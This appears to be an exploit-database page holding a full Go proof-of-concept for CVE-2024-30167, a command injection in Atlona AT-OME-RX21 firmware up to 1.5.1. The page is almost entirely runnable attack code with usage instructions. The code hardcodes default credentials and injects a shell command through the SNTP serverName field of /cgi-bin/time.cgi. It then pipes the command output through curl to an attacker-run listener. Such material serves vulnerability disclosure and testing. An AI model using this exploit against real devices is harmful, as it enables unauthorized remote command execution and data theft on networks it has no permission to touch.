Share
## https://sploitus.com/exploit?id=PACKETSTORM:220311
// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
    // Google Dork: N/A
    // Date: 2025-12-28
    // Exploit Author: RIZZZIOM
    // Vendor Homepage: https://atlona.com
    // Software Link: https://atlona.com/product/at-ome-rx21/
    // Version: Firmware <= 1.5.1
    // Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
    // CVE : CVE-2024-30167
    // Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
    package main
    
    import (
    	"bytes"
    	"context"
    	"encoding/base64"
    	"flag"
    	"fmt"
    	"io"
    	"net/http"
    	"os"
    	"os/signal"
    	"strings"
    	"syscall"
    	"time"
    )
    
    func main() {
    	banner := `
    		                                                                                  
                                                                                      
    โ–„โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–„โ–ˆโ–ˆโ–„ โ–ˆโ–ˆโ–ˆโ–ˆโ–„ โ–ˆโ–ˆ  โ–ˆโ–ˆ    โ–ˆโ–ˆโ–ˆโ–ˆโ–„  โ–„โ–ˆโ–ˆโ–„ โ–„โ–ˆโ–ˆ โ–„โ–ˆโ–ˆโ–€โ–€โ–€ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 
    โ–ˆโ–ˆ     โ–ˆโ–ˆโ–„โ–„โ–ˆโ–ˆ โ–ˆโ–ˆโ–„โ–„   โ–„โ–„โ–„ โ–„โ–ˆโ–ˆโ–€ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–„โ–ˆโ–ˆโ–€ โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–„โ–„โ–„ โ–„โ–„โ–ˆโ–ˆ โ–ˆโ–ˆ  โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆโ–„โ–„โ–„    โ–„โ–ˆโ–ˆโ–€ 
    โ–€โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ  โ–€โ–ˆโ–ˆโ–€  โ–ˆโ–ˆโ–„โ–„โ–„โ–„    โ–ˆโ–ˆโ–ˆโ–„โ–„  โ–€โ–ˆโ–ˆโ–€ โ–ˆโ–ˆโ–ˆโ–„โ–„     โ–ˆโ–ˆ    โ–„โ–„โ–„โ–ˆโ–€  โ–€โ–ˆโ–ˆโ–€  โ–ˆโ–ˆ โ–€โ–ˆโ–„โ–„โ–ˆโ–€  โ–ˆโ–ˆโ–€   
                        
    			PoC by: github.com/RIZZZIOM
    	`
    	fmt.Println(banner)
    
    	target := flag.String("t", "", "Target URL (e.g: http://example.com)")
    	username := flag.String("u", "admin", "Username for authentication")
    	password := flag.String("p", "Atlona", "Password for authentication")
    	lport := flag.String("P", "4444", "listening port for command output")
    	lhost := flag.String("l", "", "listening host for command output")
    	command := flag.String("c", "", "Command to execute on the target")
    
    	flag.Parse()
    	if *target == "" || *lhost == "" || *command == "" {
    		fmt.Println("ERROR: Missing required parameters")
    		flag.PrintDefaults()
    		os.Exit(1)
    	}
    
    	url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
    	listener := *lhost + ":" + *lport
    
    	// Buffered channel to prevent goroutine blocking if receiver exits early
    	responseChan := make(chan struct{}, 1)
    
    	// Create context for graceful shutdown coordination
    	ctx, cancel := context.WithCancel(context.Background())
    	defer cancel()
    
    	// Start HTTP server and get reference for shutdown
    	server := httpServe(listener, responseChan, ctx)
    
    	executeCommand(url, *username, *password, listener, *command)
    
    	sigChan := make(chan os.Signal, 1)
    	signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
    
    	// Timeout to prevent indefinite waiting
    	responseTimeout := time.NewTimer(30 * time.Second)
    	defer responseTimeout.Stop()
    
    	select {
    	case <-responseChan:
    		time.Sleep(1 * time.Second)
    	case <-sigChan:
    		fmt.Printf("\n===Shutting Down===\n")
    	case <-responseTimeout.C:
    		fmt.Println("\n===Response Timeout - No response received===")
    	}
    
    	// Graceful server shutdown
    	cancel() // Signal context cancellation
    	shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
    	defer shutdownCancel()
    
    	if err := server.Shutdown(shutdownCtx); err != nil {
    		fmt.Printf("Server shutdown error: %v\n", err)
    	}
    }
    
    func executeCommand(url, username, password, listener, command string) {
    	// this func sends the commands to the target
    	payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
    	auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
    	req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
    	if err != nil {
    		panic(err)
    	}
    	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
    	req.Header.Set("Content-Type", "application/json")
    	req.Header.Set("Authorization", "Basic "+auth)
    	req.Header.Set("X-Requested-With", "XMLHttpRequest")
    
    	client := &http.Client{
    		Timeout: 15 * time.Second,
    	}
    
    	resp, err := client.Do(req)
    	if err != nil {
    		fmt.Printf("ERROR: Request failed: %v\n", err)
    		os.Exit(1)
    	}
    	defer resp.Body.Close()
    
    	switch resp.StatusCode {
    	case 200:
    		fmt.Println("Command Injection Successful")
    	case 401, 403:
    		fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
    	case 404:
    		fmt.Printf("ERROR: Target Endpoint Not Found.\n")
    	default:
    		fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
    		body, _ := io.ReadAll(resp.Body)
    		if len(body) > 0 {
    			fmt.Printf("Response Body: %s\n", string(body))
    		}
    		os.Exit(1)
    	}
    }
    
    func getResponse(r *http.Request, responseChan chan struct{}) {
    	// this function serves and http server and collects response
    	if r.Method != http.MethodPost {
    		fmt.Printf("Received non-POST Request(%s)\n", r.Method)
    		return
    	}
    	defer r.Body.Close()
    	fmt.Println("\n=====Received Response=====")
    
    	body, err := io.ReadAll(r.Body)
    	if err != nil {
    		fmt.Printf("Failed To Read Response Body: %v\n", err)
    		return
    	}
    	fmt.Println(string(body))
    
    	// Non-blocking send to prevent goroutine deadlock
    	select {
    	case responseChan <- struct{}{}:
    	default:
    	}
    }
    
    func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
    	// this function gets the command injection response from the custom header
    	mux := http.NewServeMux()
    	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
    		getResponse(r, responseChan)
    		w.WriteHeader(http.StatusNoContent)
    	})
    
    	server := &http.Server{
    		Addr:           listener,
    		Handler:        mux,
    		MaxHeaderBytes: 20 * 1024 * 1024,
    		ReadTimeout:    30 * time.Second,
    		WriteTimeout:   30 * time.Second,
    		IdleTimeout:    60 * time.Second,
    	}
    
    	fmt.Printf("Listening on %s for response...\n", listener)
    
    	go func() {
    		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
    			fmt.Printf("ERROR: Server error: %v\n", err)
    		}
    	}()
    
    	return server
    }